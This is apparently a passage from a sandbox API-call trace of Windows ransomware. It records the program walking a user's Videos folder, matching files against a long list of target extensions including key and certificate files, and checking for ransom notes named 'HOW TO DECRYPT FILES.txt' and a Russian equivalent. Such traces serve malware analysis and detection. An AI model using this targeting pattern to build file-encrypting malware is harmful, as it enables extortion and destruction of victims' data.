[0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.dbx") returned 0 [0091.410] lstrlenA (lpString="*.dbx") returned 5 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.sql") returned 0 [0091.410] lstrlenA (lpString="*.sql") returned 5 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.mdb") returned 0 [0091.410] lstrlenA (lpString="*.mdb") returned 5 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.fdb") returned 0 [0091.410] lstrlenA (lpString="*.fdb") returned 5 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.wab") returned 0 [0091.410] lstrlenA (lpString="*.wab") returned 5 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.dat") returned 0 [0091.410] lstrlenA (lpString="*.dat") returned 5 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.txt") returned 0 [0091.410] lstrlenA (lpString="*.txt") returned 5 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.jpeg") returned 0 [0091.410] lstrlenA (lpString="*.jpeg") returned 6 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.jpg") returned 0 [0091.410] lstrlenA (lpString="*.jpg") returned 5 [0091.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.png") returned 0 [0091.411] lstrlenA (lpString="*.png") returned 5 [0091.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.php") returned 0 [0091.411] lstrlenA (lpString="*.php") returned 5 [0091.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.cs") returned 0 [0091.411] lstrlenA (lpString="*.cs") returned 4 [0091.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.cpp") returned 0 [0091.411] lstrlenA (lpString="*.cpp") returned 5 [0091.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.rar") returned 0 [0091.411] lstrlenA (lpString="*.rar") returned 5 [0091.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.zip") returned 0 [0091.411] lstrlenA (lpString="*.zip") returned 5 [0091.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.html") returned 0 [0091.412] lstrlenA (lpString="*.html") returned 6 [0091.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.htm") returned 0 [0091.412] lstrlenA (lpString="*.htm") returned 5 [0091.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.xlsx") returned 0 [0091.412] lstrlenA (lpString="*.xlsx") returned 6 [0091.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.xls") returned 0 [0091.412] lstrlenA (lpString="*.xls") returned 5 [0091.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.mp4") returned 0 [0091.412] lstrlenA (lpString="*.mp4") returned 5 [0091.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.ppt") returned 0 [0091.413] lstrlenA (lpString="*.ppt") returned 5 [0091.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.pptx") returned 0 [0091.413] lstrlenA (lpString="*.pptx") returned 6 [0091.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.doc") returned 0 [0091.413] lstrlenA (lpString="*.doc") returned 5 [0091.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.dot") returned 0 [0091.414] lstrlenA (lpString="*.dot") returned 5 [0091.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.docx") returned 0 [0091.414] lstrlenA (lpString="*.docx") returned 6 [0091.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.7z") returned 0 [0091.414] lstrlenA (lpString="*.7z") returned 4 [0091.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.tar") returned 0 [0091.414] lstrlenA (lpString="*.tar") returned 5 [0091.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.bz2") returned 0 [0091.414] lstrlenA (lpString="*.bz2") returned 5 [0091.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.gz") returned 0 [0091.415] lstrlenA (lpString="*.gz") returned 4 [0091.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.mkv") returned 0 [0091.415] lstrlenA (lpString="*.mkv") returned 5 [0091.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.eml") returned 0 [0091.415] lstrlenA (lpString="*.eml") returned 5 [0091.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.msg") returned 0 [0091.415] lstrlenA (lpString="*.msg") returned 5 [0091.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.edb") returned 0 [0091.415] lstrlenA (lpString="*.edb") returned 5 [0091.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.accdb") returned 0 [0091.415] lstrlenA (lpString="*.accdb") returned 7 [0091.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.odb") returned 0 [0091.416] lstrlenA (lpString="*.odb") returned 5 [0091.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.java") returned 0 [0091.416] lstrlenA (lpString="*.java") returned 6 [0091.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.asm") returned 0 [0091.416] lstrlenA (lpString="*.asm") returned 5 [0091.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.pfx") returned 0 [0091.416] lstrlenA (lpString="*.pfx") returned 5 [0091.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.pem") returned 0 [0091.416] lstrlenA (lpString="*.pem") returned 5 [0091.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.p12") returned 0 [0091.417] lstrlenA (lpString="*.p12") returned 5 [0091.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.gpg") returned 0 [0091.417] lstrlenA (lpString="*.gpg") returned 5 [0091.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.vsd") returned 0 [0091.417] lstrlenA (lpString="*.vsd") returned 5 [0091.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.odg") returned 0 [0091.417] lstrlenA (lpString="*.odg") returned 5 [0091.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.raw") returned 0 [0091.417] lstrlenA (lpString="*.raw") returned 5 [0091.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.nef") returned 0 [0091.417] lstrlenA (lpString="*.nef") returned 5 [0091.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.svg") returned 0 [0091.418] lstrlenA (lpString="*.svg") returned 5 [0091.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.psd") returned 0 [0091.418] lstrlenA (lpString="*.psd") returned 5 [0091.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.vmx") returned 0 [0091.418] lstrlenA (lpString="*.vmx") returned 5 [0091.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.vmdk") returned 0 [0091.418] lstrlenA (lpString="*.vmdk") returned 6 [0091.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.vdi") returned 0 [0091.418] lstrlenA (lpString="*.vdi") returned 5 [0091.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.lay6") returned 0 [0091.418] lstrlenA (lpString="*.lay6") returned 6 [0091.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.mpeg") returned 0 [0091.419] lstrlenA (lpString="*.mpeg") returned 6 [0091.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.djvu") returned 0 [0091.419] lstrlenA (lpString="*.djvu") returned 6 [0091.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.tiff") returned 0 [0091.419] lstrlenA (lpString="*.tiff") returned 6 [0091.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.backup") returned 0 [0091.419] lstrlenA (lpString="*.backup") returned 8 [0091.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.pdf") returned 0 [0091.419] lstrlenA (lpString="*.pdf") returned 5 [0091.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.cert") returned 0 [0091.419] lstrlenA (lpString="*.cert") returned 6 [0091.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.docm") returned 0 [0091.420] lstrlenA (lpString="*.docm") returned 6 [0091.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.xlsm") returned 0 [0091.420] lstrlenA (lpString="*.xlsm") returned 6 [0091.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.dwg") returned 0 [0091.420] lstrlenA (lpString="*.dwg") returned 5 [0091.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.nd") returned 0 [0091.420] lstrlenA (lpString="*.nd") returned 4 [0091.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.tlg") returned 0 [0091.420] lstrlenA (lpString="*.tlg") returned 5 [0091.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.lgb") returned 0 [0091.421] lstrlenA (lpString="*.lgb") returned 5 [0091.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.mov") returned 0 [0091.421] lstrlenA (lpString="*.mov") returned 5 [0091.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.xdw") returned 0 [0091.421] lstrlenA (lpString="*.xdw") returned 5 [0091.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.ods") returned 0 [0091.421] lstrlenA (lpString="*.ods") returned 5 [0091.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.wav") returned 0 [0091.421] lstrlenA (lpString="*.wav") returned 5 [0091.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.mp3") returned 0 [0091.421] lstrlenA (lpString="*.mp3") returned 5 [0091.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.aiff") returned 0 [0091.421] lstrlenA (lpString="*.aiff") returned 6 [0091.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.flac") returned 0 [0091.422] lstrlenA (lpString="*.flac") returned 6 [0091.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.m4a") returned 0 [0091.422] lstrlenA (lpString="*.m4a") returned 5 [0091.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi", pszSpec="*.csv") returned 0 [0091.422] lstrlenA (lpString="*.csv") returned 5 [0091.422] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f622740, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x78800af0, ftLastAccessTime.dwHighDateTime=0x1d5e5e0, ftLastWriteTime.dwLowDateTime=0x78800af0, ftLastWriteTime.dwHighDateTime=0x1d5e5e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700061, dwReserved1=0x360075, cFileName="oVB5TF6ZRJ4F-k", cAlternateFileName="OVB5TF~1")) returned 1 [0091.422] lstrcmpA (lpString1=".", lpString2="oVB5TF6ZRJ4F-k") returned -1 [0091.422] lstrcmpA (lpString1="..", lpString2="oVB5TF6ZRJ4F-k") returned -1 [0091.422] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\l 5B.avi") returned="l 5B.avi" [0091.422] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\", lpString2="oVB5TF6ZRJ4F-k" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k" [0091.422] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k") returned 110 [0091.423] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f622740, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x78800af0, ftLastAccessTime.dwHighDateTime=0x1d5e5e0, ftLastWriteTime.dwLowDateTime=0x78800af0, ftLastWriteTime.dwHighDateTime=0x1d5e5e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x52d630, cFileName=".", cAlternateFileName="")) returned 0x502698 [0091.423] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.423] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f622740, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x78800af0, ftLastAccessTime.dwHighDateTime=0x1d5e5e0, ftLastWriteTime.dwLowDateTime=0x78800af0, ftLastWriteTime.dwHighDateTime=0x1d5e5e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0091.423] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.423] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.423] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9ae680, ftCreationTime.dwHighDateTime=0x1d5e7bb, ftLastAccessTime.dwLowDateTime=0x2de1c610, ftLastAccessTime.dwHighDateTime=0x1d5e73d, ftLastWriteTime.dwLowDateTime=0x2de1c610, ftLastWriteTime.dwHighDateTime=0x1d5e73d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc6, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7vqkytEBAY.flv", cAlternateFileName="7VQKYT~1.FLV")) returned 1 [0091.423] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0091.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7vqkytEBAY.flv") returned 1 [0091.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7vqkytEBAY.flv") returned 1 [0091.423] lstrcmpiA (lpString1="", lpString2="7vqkytEBAY.flv") returned -1 [0091.424] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\*.*") returned="*.*" [0091.424] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\" [0091.424] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\oVB5TF6ZRJ4F-k\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS 